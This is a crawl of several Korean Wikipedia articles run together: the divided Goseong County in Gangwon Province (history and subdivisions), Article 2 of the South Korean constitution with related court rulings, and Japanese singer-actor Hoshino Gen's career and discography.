대강(大康)서(西) 말무(末茂) 입석(立石) 봉수(烽燧) 포외진(浦外津)보호(寶湖) 고봉(高峰) 감월(鑑月) 장전읍(長箭邑) 31.52 2 장전(長箭) 성북(城北) 서면(西面) 194.32 9 송탄(松灘) 양송(兩松) 장정(長亭) 내침(內砧) 화우(花雨)유성(柳城) 시랑(侍郞) 보현(普玄) 백천교(百川橋) 수동면(水洞面) 222.9 13 신대(新垈) 덕산(德山) 외면(外沔) 사비(沙飛) 고미성(姑味城)사천(沙泉) 신탄(新炭) 상원(上院) 초현(草峴) 정월(汀月)태봉(台峰) 내면(內沔) 흑연(黑淵) 외금강면(外金剛面) 147.37 17 온정(溫井) 양진(養珍) 신흥(新興) 운곡(雲谷) 용계(龍溪) 계월(桂月)창대(倉垈) 서아(西峨) 영진(靈津) 사평(沙坪) 추동(楸洞) 장도(長島)포항(浦項) 낭정(浪汀) 주험(注驗) 사호(沙湖) 남애(南涯) 고성읍의 수복지구(송현·명호·송도진·대강리)는 현내면에 편입되었고, 수동면의 수복지구 8개리(신대·덕산·외면·사비·고미성·사천·신탄·상원리)는 전체가 주민 미거주지역으로 간성읍에서 행정사무를 대행·관할한다. 조선민주주의인민공화국의 강원도 고성군[편집] 이 부분의 본문은 고성군 (북)입니다. 조선민주주의인민공화국 강원도의 행정 구역이다. 1읍 23리로 구성되어 있다. 각주[편집] ↑ 칙령 제98호 地方制度改正件 (1895년 음력 5월 26일) ↑ 칙령 제36호 地方制度官制改正件 (1896년 8월 4일) ↑ 조선총독부령 제111호 (1913년 12월 29일) ↑ 조선총독부령 제88호(1919년 5월 9일)(조선총독부관보 2022호) ↑ 조선총독부령 제253호 읍면및읍면장에관한규정 (1941년 9월 29일) ↑ 이북5도청 - 미수복강원도 고성군 조직 원본 주소 "https://ko.wikipedia.org/w/index.php?title=고성군_(강원도)&oldid=24460389" 분류: 고성군 (강원도)고성군 (남)고성군 (북)분단된 지역 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 日本語 링크 편집 이 문서는 2019년 6월 21일 (금) 17:05에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
고성군 (강원도) - 위키백과, 우리 모두의 백과사전 고성군 (강원도) 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 이 문서는 한국의 분단 이전에 존재했던 강원도 고성군에 관한 문서입니다. 현재의 강원도 고성군에 관한 문서는 고성군 (남)과 고성군 (북)에 각각 있습니다. 이 문서는 강원도의 고성군에 관한 것입니다. 경상남도의 고성군에 대해서는 고성군 (경상남도) 문서를 참조하십시오. 고성군(高城郡)은 강원도의 행정 구역으로, 한반도 동해안에 있는 지역이다. 38선 이북 지역이라 1945년에 소군정 영역으로 편입되었으나, 한국 전쟁을 거치며 철원군처럼 분단되었다. 남북 분단으로 인해 대한민국과 조선민주주의인민공화국 양 쪽 모두의 행정 구역으로 되어 있다. 대한민국 고성군의 군청 소재지는 간성읍이고, 조선민주주의인민공화국 고성군의 군청 소재지는 고성읍(구 장전읍)이다. 목차 1 역사 2 대한민국의 강원도 고성군 3 조선민주주의인민공화국의 강원도 고성군 4 각주 역사[편집] 고구려 때에 달홀(達忽)이 설치되었고 신라 진흥왕 29년(568년) 주(州)를 만들어 군주(軍主)를 두었고, 경덕왕이 고성군, 수성군(守城郡)으로 개칭하였다. 고려 성종의 행정구역 개편 때 삭방도(朔方道)에 편입되었다가, 고려 현종의 행정구역 개편 때 동계(東界)에 소속된 고성군과 수성군은 각각 고성현과 간성현(杆城縣)으로 바뀌었다. 간성현은 그 뒤 군으로 승격되었다. 조선 세종 때 고성현이 군으로 승격되어 간성·고성의 두 군이 되었다. 그 뒤 1629년 고성군은 노비가 주인을 살해한 일이 생겨 현으로 강등되었다가 1638년에 회복되었다. 1895년 음력 윤5월 1일 강릉부 고성군, 간성군으로 개편하였다.[1] 1896년 8월 4일 강원도 고성군, 간성군으로 개편하였다.[2] 1914년 4월 1일 고성군을 간성군에 합군하였다.[3] 군청을 군내면에 두었다. 당시 고성군은 일북, 이북, 안창, 수동, 동, 서, 남면의 7개면을 관할했다. 통합시 일북면과 이북면을 신북면으로, 동면과 안창면을 고성면으로 통합했으며 남면을 서면과 수동면으로 분할 편입시켰다. 당시 간성군은 현내, 군내, 대대, 오현, 토성, 왕곡, 죽도, 해상면의 8개면을 관할했다. 통합시 대대면과 오현면을 오대면으로, 왕곡면과 죽도면을 병합하여 죽왕면으로 통합하고 해상면을 군내면에 흡수시켰다. 9면 - 군내면, 오대면, 죽왕면, 고성면, 신북면, 서면, 수동면, 토성면, 현내면 1919년 간성군을 고성군으로, 군내면을 간성면으로 개칭하고, 죽왕면, 토성면을 양양군에 편입하였다. (7면) 군청을 고성면으로 이전하였다.[4] 1935년 오대면을 거진면으로 개칭하였다. 1937년 신북면 장전리, 성북리를 분리해 장전읍을 설치하였다. (1읍 7면) 1939년 신북면을 외금강면으로 개칭하였다. 1941년 10월 1일 고성면을 고성읍으로 승격하였다.[5] (2읍 6면) 1945년 9월 2일 : 미국과 소련이 38선을 경계로 한반도를 분할 점령함으로써 고성군 전 지역이 소련군정 관할 아래 들어갔다. 한국 전쟁 이후 수동면 일부, 고성읍 대부분, 장전읍, 외금강면, 서면은 조선민주주의인민공화국의 영토로 남고, 이남은 대한민국의 영토가 되었다. 대한민국의 강원도 고성군[편집] 이 부분의 본문은 고성군 (남)입니다. 대한민국 강원도의 행정 구역이다. 2읍 4면으로 구성되어 있다. 1963년에 양양군에서 죽왕면, 토성면을 반환받았다. 이외에 광복 당시의 군청 소재지였던 고성읍을 포함한 2읍 3면은 휴전선 이북에 위치하며, 이들 지역에 대해서는 이북5도위원회에서 명예읍면장을 임명하고 있다.[6] 해당 지역의 상세 관할구역은 다음과 같다. (광복 당시 기준) 읍/면사무소 소재지는 굵게 표시한다. 읍면 면적(km2) 리 숫자 리(里) 고성읍(高城邑) 55.84 13 동(東) 송현(松峴) 명호(明湖) 송도진(松島津) 대강(大康)서(西) 말무(末茂) 입석(立石) 봉수(烽燧) 포외진(浦外津)보호(寶湖) 고봉(高峰) 감월(鑑月) 장전읍(長箭邑) 31.52 2 장전(長箭) 성북(城北) 서면(西面) 194.32 9 송탄(松灘) 양송(兩松) 장정(長亭) 내침(內砧) 화우(花雨)유성(柳城) 시랑(侍郞) 보현(普玄) 백천교(百川橋) 수동면(水洞面) 222.9 13 신대(新垈) 덕산(德山) 외면(外沔) 사비(沙飛) 고미성(姑味城)사천(沙泉) 신탄(新炭) 상원(上院) 초현(草峴) 정월(汀月)태봉(台峰) 내면(內沔) 흑연(黑淵) 외금강면(外金剛面) 147.37 17 온정(溫井) 양진(養珍) 신흥(新興) 운곡(雲谷) 용계(龍溪) 계월(桂月)창대(倉垈) 서아(西峨) 영진(靈津) 사평(沙坪) 추동(楸洞) 장도(長島)포항(浦項) 낭정(浪汀) 주험(注驗) 사호(沙湖) 남애(南涯) 고성읍의 수복지구(송현·명호·송도진·대강리)는 현내면에 편입되었고, 수동면의 수복지구 8개리(신대·덕산·외면·사비·고미성·사천·신탄·상원리)는 전체가 주민 미거주지역으로 간성읍에서 행정사무를 대행·관할한다. 조선민주주의인민공화국의 강원도 고성군[편집] 이 부분의 본문은 고성군 (북)입니다. 조선민주주의인민공화국 강원도의 행정 구역이다. 1읍 23리로 구성되어 있다. 각주[편집] ↑ 칙령 제98호 地方制度改正件 (1895년 음력 5월 26일) ↑ 칙령 제36호 地方制度官制改正件 (1896년 8월 4일) ↑ 조선총독부령 제111호 (1913년 12월 29일) ↑ 조선총독부령 제88호(1919년 5월 9일)(조선총독부관보 2022호) ↑ 조선총독부령 제253호 읍면및읍면장에관한규정 (1941년 9월 29일) ↑ 이북5도청 - 미수복강원도 고성군 조직 원본 주소 "https://ko.wikipedia.org/w/index.php?title=고성군_(강원도)&oldid=24460389" 분류: 고성군 (강원도)고성군 (남)고성군 (북)분단된 지역 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 日本語 링크 편집 이 문서는 2019년 6월 21일 (금) 17:05에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
대한민국 헌법 제2조 - 위키백과, 우리 모두의 백과사전 대한민국 헌법 제2조 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 대한민국 헌법 (한국어 / 영어) 전문 · 1장 2장 3장 4장 5장 6장7장 8장 9장 10장 · 부칙 제1장각 조 1 2 3 4 5 6 7 8 9 대한민국의 헌정사 대한민국 헌법 제2조는 국적법정주의와 재외국민 보호 의무를 규정한 대한민국 헌법의 조항이다. 2항으로 구성되어 있다. 목차 1 본문 2 내용 3 주요 판례 4 연혁 5 비교 헌법 조문 6 같이 보기 7 각주 본문[편집] ① 대한민국의 국민이 되는 요건은 법률로 정한다. ② 국가는 법률이 정하는 바에 의하여 재외국민을 보호할 의무를 진다. 내용[편집] 국민의 요건 국가의 재외국민 보호 의무 국적은 단행의 법률로 규정함. 주요 판례[편집] “헌법 제2조 제2항에서 정한 국가의 재외국민 보호의무에 의하여 재외국민이 거류국에 있는 동안 받게 되는 보호는, 조약 기타 일반적으로 승인된 국제법규와 당해 거류국의 법령에 의하여 누릴 수 있는 모든 분야에서 정당한 대우를 받도록 거류국과의 관계에서 국가가 하는 외교적 보호와 국외 거주 국민에 대하여 정치적인 고려에서 특별히 법률로써 정하여 베푸는 법률ㆍ문화ㆍ교육 기타 제반영역에서의 지원을 뜻하는 것”이라고 판시한 바 있다.[1] “중국동포와 같이 특수한 국적상황에 처해 있는 자들의 이중국적 해소 또는 국적선택을 위한 조약을 우리 정부가 중국과 체결할 의무를 명시적으로 위임하고 있다고 볼 수 없고 …중국동포의 특수한 상황을 고려하여 그들의 국적회복을 위한 특별법을 제정하거나 조약을 체결할 헌법상 의무가 국가에게 있다는 명시적인 위임으로 볼 수 없고, 뿐만 아니라 동 규정 및 그 밖의 헌법규정의 해석상 그와 같은 법률의 제정 또는 조약체결 의무가 국가에게 있다고 할 수도 없다”고 판시하였다.[2] 정부 수립 이후의 이주동포와 정부 수립 이전의 이주 동포의 혜택에 차별을 두는 재외동포의출입국과법적지위에관한법률 제2조 제2호에 대한 위헌확인 소송에서 “정부수립이후이주동포와 정부수립이전이주동포는 이미 대한민국을 떠나 그들이 거주하고 있는 외국의 국적을 취득한 우리의 동포라는 점에서 같”으며, 이주 시기는 “법적으로 같게 취급되어야 할 동일성을 훼손할 만한 본질적인 성격”이 아니라고 판시하였다. 따라서 후자에 대해 출입국기회 및 취업기회 차단 등의 규정을 두는 것에 대해 헌법상의 평등의 원칙에 위배된다[3]. 국적은 성문의 법령을 통해서가 아니라 국가의 생성과 더불어 존재하는 것이다[4] 연혁[편집] 제5공화국 헌법에서 재외국민의 보호조항이 신설되었으며, 현행 헌법에서 국가의 의무로 규정되었다. 비교 헌법 조문[편집] 일본국 헌법 제10조(일본국민의 되는 요건) 일본 국민의 요건은 법률로 이를 정한다. 같이 보기[편집] 대한민국 헌법 제1장 국적법 재외국민 재외동포법 위헌확인 사건 출입국관리법 재외국민등록법 공직선거법 각주[편집] ↑ 헌법재판소 2001년 12월 20일 선고, 2001헌바25 / 1993년 12월 23일 선고, 89헌마189 등. ↑ 헌법재판소 2006년 3월 30일 선고, 2003헌마806 ↑ 헌법재판소 2001년 11월 29일 선고, 99헌마494 ↑ 97헌가12 vdeh 대한민국 헌법전문제1장 총강 제1조 제2조 제3조 제4조 제5조 제6조 제7조 제8조 제9조 제2장 국민의 권리와 의무 제10조 제11조 제12조 제13조 제14조 제15조 제16조 제17조 제18조 제19조 제20조 제21조 제22조 제23조 제24조 제25조 제26조 제27조 제28조 제29조 제30조 제31조 제32조 제33조 제34조 제35조 제36조 제37조 제38조 제39조 제3장 국회 제40조 제41조 제42조 제43조 제44조 제45조 제46조 제47조 제48조 제49조 제50조 제51조 제52조 제53조 제54조 제55조 제56조 제57조 제58조 제59조 제60조 제61조 제62조 제63조 제64조 제65조 제4장 정부제1절 대통령 제66조 제67조 제68조 제69조 제70조 제71조 제72조 제73조 제74조 제75조 제76조 제77조 제78조 제79조 제80조 제81조 제82조 제83조 제84조 제85조 제2절 행정부제1관 국무총리 제86조 제87조 제2관 국무회의 제88조 제89조 제90조 제91조 제92조 제93조 제3관 행정각부 제94조 제95조 제96조 제4관 감사원 제97조 제98조 제99조 제100조 제5장 법원 제101조 제102조 제103조 제104조 제105조 제106조 제107조 제108조 제109조 제110조 제6장 헌법재판소 제111조 제112조 제113조 제7장 선거관리 제114조 제115조 제116조 제8장 지방자치 제117조 제118조 제9장 경제 제119조 제120조 제121조 제122조 제123조 제124조 제125조 제126조 제127조 제10장 헌법개정 제128조 제129조 제130조 부칙 제1조 제2조 제3조 제4조 제5조 제6조 원본 주소 "https://ko.wikipedia.org/w/index.php?title=대한민국_헌법_제2조&oldid=22762978" 분류: 대한민국의 헌법 조문 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 日本語 링크 편집 이 문서는 2018년 10월 11일 (목) 23:51에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
호시노 겐 - 위키백과, 우리 모두의 백과사전 호시노 겐 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 호시노 겐 기본 정보본명 星野 源출생 1981년 1월 28일(1981-01-28) (38세)국적 일본직업 배우, 싱어송라이터, 저술가 레이블 스피드스타 레코드소속사 아뮤즈 (음악업), 어른 계획 (배우업)소속 그룹 SAKEROCK웹사이트 공식 사이트 호시노 겐(일본어: 星野 源, 1981년 1월 28일 ~ )은, 일본의 배우, 싱어송라이터, 저술가이다. 사이타마현 와라비 시 출신 (초등학교까지는 카와구치 시), 지유노모리가쿠인 중학교·고등학교 졸업. 인스트루멘털 밴드 SAKEROCK의 리더로서, 주로 기타와 마림바를 담당. 소속은 아뮤즈 (음악업), 어른 계획 (배우업). 문필가로서도 다수의 연재를 하고 있다. 목차 1 내력 2 출연 2.1 영화 2.2 드라마 3 음반 작품 3.1 CD 싱글 3.2 CD 앨범 3.3 옴니버스 4 저서 5 외부 링크 내력[편집] 중학교 1학년부터 연극 활동과 음악 활동을 동시 병행으로 스타트. 《인간 고하산》 참가를 계기로 어른 계획 사무소 소속이 된다. 또, 2000년에 결성한 밴드 “SAKEROCK”을 필두로, 싱어송라이터로서의 음악 활동도 활발. “호시노 겐”으로서 2011년에 발표한 2nd 앨범 《에피소드》는, 오리콘 위클리 차트(2011년 10월 10일 자)에서 5위를 획득, 제4회 CD 숍 대상 준대상을 수상했다. 덧붙여 경애 하는 호소노 하루오미와는 2005년에 사이타마 현 사야마 시에서 행해진 〈HYDE PARK MUSIC FESTIVAL〉에서의 공동 출연을 계기로 잡지에서 공동 연재를 하는 등 교류가 깊어지고 있다. 영상 제작 유닛 〈야마다 이치로〉(호시노 겐, 야마기시 산타, 오오하라 다이지로)를 주재해, 제작한 SAKEROCK의 MV 《호냐라라》는, SPACE SHOWER Music Video Awards 09의 BEST COCEPTUAL VIDEO상을 수상했다. 출연[편집] 영화[편집] 년도 제목 배역 2004 《69 sixty nine》 2008 《논코 36세 (가정부)》 마사루 역 2008 《소년 메리켄사쿠》 2013 《세인트☆영멘》 붓다 역 성우 2013 《묻지마 사랑》 켄타로 역 2013 《지옥이 뭐가 나빠》 코지 역 2015 《러브 앤 피스》 2017 《밤은 짧아 걸어 아가씨야》 선배 역 성우 2018 《미래의 미라이》 아빠 역 성우 2019 《이사하는 무사》 카타기리 하루노스케 역 드라마[편집] 년도 제목 배역 2003 《워터보이즈》 2003 《맨하탄 러브스토리》 2004 《돌 하우스》 2004 《여자들의 죄와 벌》 2004 《이혼변호사》 2004 《토키오 아버지에게의 전언》 2004 《상냥한 시간》 2005 《타이거 앤 드래곤》 2006 《아키하바라@딥》 2006 《또 하나의 슈가 앤 스파이스》 2007 《도쿄 타워: 엄마와 나, 때때로 아빠》 2007 《탐정학원 Q》 네코다 형사 역 2008 《미래강사 메구루》 에구치 히데오 역 2008 《주간 마키 요코》 2009 《고스트 프렌즈》 2010 《게게게의 여보》 2011 《11명이나 있어!》 사나다 히로유키 역 2014 《어젯밤의 카레, 내일의 빵》 테라야마 카즈키 역 2015 《코우노도리》 시노미야 하루키 역 2016 《사나다마루》 도쿠가와 히데타다 역 2016 《도망치는 건 부끄럽지만 도움이 된다》 츠자키 히라마사 역 2017 《플라주》 타카오 역 2017 《코우노도리 시즌2》 시노미야 하루키 역 음반 작품[편집] CD 싱글[편집] 매 발매일 타이틀 최고 순위 1 2011.03.02 くだらないの中に 시시함 속에 17위 2 2012.02.08 フィルム 필름 4위 3 2012.07.04 夢の外へ 꿈 너머로 8위 4 2012.11.28 知らない 모르겠어 5위 5 2013.05.08 ギャグ 개그 4위 6 2013.10.02 地獄でなぜ悪い 지옥이 뭐가 나빠 5위 7 2014.06.11 Crazy Crazy/桜の森 Crazy Crazy/벚꽃 숲 4위 8 2015.05.27 SUN 2위 9 2016.10.05 恋 사랑 2위 10 2017.08.16 Family Song 1위 11 2018.02.28 ドラえもん 도라에몽 1위 CD 앨범[편집] 매 발매일 타이틀 최고 순위 1 2010.06.23 ばかのうた 바보의 노래 36위 2 2011.09.28 エピソード 에피소드 5위 3 2013.05.01 Stranger 2위 4 2015.12.02 YELLOW DANCER 1위 옴니버스[편집] りんごの子守唄 / 사과의 자장가 (2007년) 09. All Things Must Pass - 나카노 요시에+호시노 겐 デイジー・ホリデー / 데이지 홀리데이 V.A. Presented by 호소노 하루오미 (2008년) 22. デイジーお味噌汁 / 데이지 미소시루 - 호시노 겐 저서[편집] 『そして生活はつづく』그리고 생활은 계속된다(2009) 『働く男』일하는 남자(2013) 『蘇える変態』되살아난 변태(2014) 『星野源 雑談集1』호시노겐 잡담집(2014) 『地平線の相談』지평선의 상담(2015) 『いのちの車窓から』생명의 차창에서(2017) 외부 링크[편집] (일본어) 호시노 겐 공식 사이트 (일본어) 호시노 겐 아뮤즈 공식 사이트 (일본어) 호시노 겐 official - 트위터 (일본어) 호시노 겐 어른 계획 공식 사이트 (일본어) SAKEROCK 공식 사이트 vdeh아뮤즈뮤지션 이승기 WEAVER 우에키 고 과학 구명 기구 로지카? CASCADE CROSS GENE 사에라 사쿠라 학원 사잔 오루 스타즈 선 플라자 나카노 군 SCOOPERS Skoop On Somebody sleepiece ZEBRA QUEEN 타카하시 유 Tama 타와타 에미 TIGARAH DEAN FUJIOKA Teinklestars HaKU 팟파라 카와이 Perfume BEGIN 후쿠야마 마사하루 후지와라 사쿠라 flumpool FLOW Hemenway BABYMETAL 호시노 겐 포르노 그라피티 MIHIRO ~마이로~ 만만슈오 미니파티 미야케 유지 미야코 Mayday MONOBRIGHT Rihwa Red Dracul Scar Tissue ONE OK ROCK 배우·탤런트(남성) 아오야기 루이토 이시하라 소마 이즈카 켄타 이토 나오토 이마이 타카후미 이와타 료 이와 요시토 우에키 고 우에노 가이 우에하라 타쿠야 오오타 마사키 오오무라 마나부 오카다 요시노리 오구라 히사히로 카쿠 켄토 카자마 유지로 카스가 요시키 카토 준이치 카토 하루히코 카부모토 히데아키 카미키 류노스케 키시타니 고로 극단 프레스테이지 코이케 아리노리 코이데 케이스케 코노 쇼타로 코세키 유타 사카타 나오키 사쿠라다 도리 사토 타케루 선 플라자 나카노 군 소노다 레오나 타카토 유키 타카하시 히데유키 치사카 켄스케 TEAM NACS 테라와키 야스후미 DEAN FUJIOKA/후지오카 딘 토타니 키미토 토네사쿠 토시히데 토미타 켄타로 나카무라 류 나가오 타쿠야 노무라 슈헤이 하시모토 아츠시 하야시 츠요시 하라다 신페이 히라오카 유타 히라노 키나리 히라마 소이치 후쿠시마 카이타 후쿠야마 마사하루 마츠오카 코다이 마츠시마 쇼타 미우라 하루마 미즈타 코키 미조구치 타쿠야 미무라 카즈노리 미야케 유지 모리 하야시 야마시타 긴지 유키 요헤이 요시자와 료 요시무라 타쿠야 와타나베 슈 배우·탤런트(여성) 아소 카호리 아베 나나미 아라키 미유 이시다 니콜 이시야마 렌게 이타야 유카 이치게 요시에 우에노 쥬리 우치무라 쥬리 오오무라 사코 오쿠야마 요시에 오호 사요코 카가미 세이라 카토 타카코 카나이 미키 카노 치카 칸자키 레나 칸노 리오 키노시타 미사키 코마츠 아야카 사이조 히카리 사카노우에 아카네 시부야 미유 시마 유이카 시미즈 쿠루미 시무라 레나 스도 리사 세토 스이코 타카하시 하루나 타지마 유미카 타치바나 에리 타나카 코나츠 타나카 미하루 타노 아사미 타모리 미사키 츠네마츠 유리 TOKYO PANDA 토쿠마루 코토노 토미타 야스코 나카가와 카나 나카무라 리호 나카모토 스즈카 나카 리이사 하즈마 유코 히라타 카오루 히로이 유 후카츠 에리 후쿠다 아야노 후지사와 나나 호란 치아키 혼다 리카 마츠이 아이리 마츠다 사키 미요시 아야카 무라카와 에리 모리구치 아야노 야기 아리사 야코 하루나 야마모토 히카루 요시타카 유리코 요시다 케이코 리 이제 로쿠샤 나나 관련 회사 아뮤즈 모델스 아뮤즈 소프트 엔터테인먼트 아뮤즈 북스 A-Sketch 쇼게이트 트라이넷 엔터테인먼트 CREATIVE OFFICE CUE 에어즈  공식 사이트 vdeh마이니치 영화 콩쿠르 스포니치 그랑프리 신인상1940년대 와카야마 세츠코 (1947) 1980년대 하라다 토모요 (1983) 킷카와 코지, 사쿠라 시오리 (1984) 사이토 유키, 첵커즈 (1985) 와시오 이사코, 나카무라 토오루 (1986) 타카시마 마사히로, 미나미노 요코 (1987) 오토코구미, 카타오카 츠루타로, 미야자와 리에 (1988) 카와하라 아야코, 아카이 하데카즈 (1989) 1990년대 마키세 리호 (1990) 이시다 히카리 (1991) 스미다 유키, 오모리 요시노부 (1992) 타바타 토모코, 하카마다 요시히코 (1993) 노무라 유진, 스즈키 사와 (1994) 잇시키 사에, 에스미 마키코 (1995) 안도 마사노부, 스즈키 사이코 (1996) 히로스에 료코, 요시카와 히나노 (1997) 다나카 레나, 타다노 미아코 (1998) 오시다리 아키코, 이케와키 치즈루 (1999) 2000년대 안도 노조미, 마츠다 류헤이 (2000) 쿠보즈카 요스케, 시바사키 코우 (2001) 나카무라 시도, 이치카와 미카코, 김수진 (2002) 오오니시 타키지로, 미야사코 히로유키 (2003) 츠치야 안나, 야기라 유야, 우에노 주리 (2004) 이시다 호시, 세키 메구미 (2005) 츠카지 무가, 단 레이 (2006) 마츠다 쇼타, 나루미 리코 (2007) 미우라 하루마, 나카 리이사 (2008) 니시지마 타카히로, 미츠시마 히카리 (2009) 2010년대 엔도 카나메, 토쿠나가 에리 (2010) 소메타니 쇼타, 쿠츠나 시오리 (2011) 히가시데 마사히로, 미요시 아야카 (2012) 호시노 겐, 하마다 여기네요 (2013) 토사카 히로오미, 코마츠 나나 (2014) 노다 요지로, 후지노 료코 (2015) 마이구마 카츠야, 나카조 아야미 (2016) 타카스기 마히로, 아오이 이토 (2017) 타마오키 레오, 마이 키류 (2018) 일본영화대상 감독상 남우주연상 여우주연상 남우조연상 여우조연상 스포니치 그랑프리 신인상 다나카 기누요상 vdeh더 텔레비전 드라마 아카데미상 남우조연상1회 - 10회('94 [2] - '96 [3])1. 키시타니 고로 | 2. 아즈마 미키히사 | 3. 키시타니 고로 | 4. 타카하시 카츠노리 | 5. 니시무라 마사히코 | 6. 이마다 코지 | 7. 카토리 싱고 | 8. 니시무라 마사히코 | 9. 타케노우치 유타카 | 10. 타마키 코지11회 - 20회('96 [4] - '99 [1])11. 타케노우치 유타카 | 12. 와타베 아츠로 | 13. 우치노 마사아키 | 14. 하기와라 마사토 | 15. 노무라 만사이 | 16. 타키자와 히데아키 | 17. 키시타니 고로 | 18. 카미카와 타카야 | 19. 후키코시 미츠루 | 20. 와타베 아츠로21회 - 30회('99 [2] - '01 [3])21. 이시이 마사노리 | 22. 시이나 킷페이 | 23. 오오사와 타카오 | 24. 와타베 아츠로 | 25. 쿠보즈카 요스케 | 26. 카토리 싱고 | 27. 츠츠미 신이치 | 28. 쿠보즈카 요스케 | 29. 카토리 싱고 | 30. 아베 히로시31회 - 40회('01 [4] - '04 [1])31. 시이나 킷페이 | 32. 후지키 나오히토 | 33. 마츠모토 준 | 34. 츠마부키 사토시 | 35. 도모토 코이치 | 36. 츠츠미 신이치 | 37. 후루타 아라타 | 38. 모리야마 미라이 | 39. 키타무라 카즈키 | 40. 와타나베 켄41회 - 50회('04 [2] - '06 [3])41. 사이토 류세이 | 42. 아베 히로시 | 43. 야마모토 코지 | 44. 카메나시 카즈야 | 45. 니시다 토시유키 | 46. 이토 아츠시 | 47. 마츠모토 준 | 48. 타케다 테츠야 | 49. 이토 히데아키 | 50. 다나카 코키51회 - 60회('06 [4] - '09 [1])51. 츠츠미 신이치 | 52. 키타오오지 킨야 | 53. 키타무라 카즈키 | 54. 이쿠타 토마 | 55. 오오이즈미 요 | 56. 마츠다 류헤이 | 57. 니시키도 료 | 58. 이치하라 하야토 | 59. 오가타 켄 | 60. 사토 타케루61회 - 70회('09 [2] - '11 [3])61. 다케노우치 유타카 | 62. 사카이 마사토 | 63. 우치노 마사아키 | 64. 오이카와 미츠히로 | 65. 아라타 | 66. 무카이 오사무 | 67. 카가와 테루유키 | 68. 타카시마 마사노부 | 69. 우치노 마사아키 | 70. 카자마 슌스케71회 - 80회('11 [4] - '14 [1])71. 하세가와 히로키 | 72. 에이타 | 73. 사토 코이치 | 74. 키타무라 유키야 | 75. 나카이 키이치 | 76. 요시다 코타로 | 77. 카미키 류노스케 | 78. 카가와 테루유키 | 79. 오카다 마사키 | 80. 히가시데 마사히로81회 - 90회('14 [2] - '16 [3])81. 스다 마사키 | 82. 요시다 코타로 | 83. 쿠보타 마사타카 | 84. 하세가와 히로키 | 85. 스즈키 료헤이 | 86. 타카하시 잇세이 | 87. 킷카와 코지 | 88. 타마키 히로시 | 89. 야기라 유야 | 90. 카라사와 토시아키91회 - 100회('16 [4] - '19 [1])91. 호시노 겐 | 92. 아사노 타다노부 | 93. 히가시데 마사히로 | 94. 타케우치 료마 | 95. 타카하시 잇세이 | 96. 이우라 아라타 | 97. 요시다 코타로 | 98. 사토 타케루 | 99. 요카다 타케시 | 100. 요코하마 류세이 전거 통제 WorldCat VIAF: 159904828 LCCN: no2010192517 ISNI: 0000 0001 0715 5564 뮤직브레인즈: 2c6c53ea-09d4-4d98-b174-c9aa83d4fecf NDL: 01089309 원본 주소 "https://ko.wikipedia.org/w/index.php?title=호시노_겐&oldid=24070147" 분류: 일본의 남자 배우일본의 음악가빅터 엔터테인먼트의 음악가NHK 홍백가합전 출연자사이타마현 출신1981년 태어남살아있는 사람일본의 남자 싱어송라이터숨은 분류: 일본어 표기를 포함한 문서VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서ISNI 식별자를 포함한 위키백과 문서MusicBrainz 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 تۆرکجهEnglishEspañolفارسیBahasa Indonesia日本語РусскийTiếng Việt中文粵語 링크 편집 이 문서는 2019년 4월 19일 (금) 21:01에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 